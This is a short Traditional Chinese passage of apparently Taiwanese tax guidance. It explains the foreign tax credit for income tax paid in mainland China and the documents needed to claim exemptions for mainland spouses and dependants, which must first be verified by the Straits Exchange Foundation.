在大陸地區已繳納的所得稅（含扣繳及自繳）得自應納稅額中扣抵。扣抵的數額，不得超過因加計其大陸地區所得，而依其適用稅率計算增加的應納稅額，應檢附先送經行政院設立或指定的機構或委託的民間團體（目前為財團法人海峽交流基金會）驗證後的大陸地區完納所得稅證明文件，供稽徵機關核認。
申報大陸地區配偶、扶養親屬的免稅額者，應檢附居民身份證影本及當年度親屬關係證明，申報扶養的子女、同胞兄弟姊妹年滿20歲仍在校就學、身心殘障或無謀生能力者，應另檢具在學證明或身體傷殘、精神障礙、智能不足、重大疾病等的證明；扣除額部分，應檢附足資證明的文件。前述證明文件係指大陸地區公證處所核發的公證書，納稅義務人逐次取得所得年度有關的公證書，須先送經行政院設立或指定的機構或委託的民間團體（目前為財團法人海峽交流基金會）驗證後，供稽徵機關核認。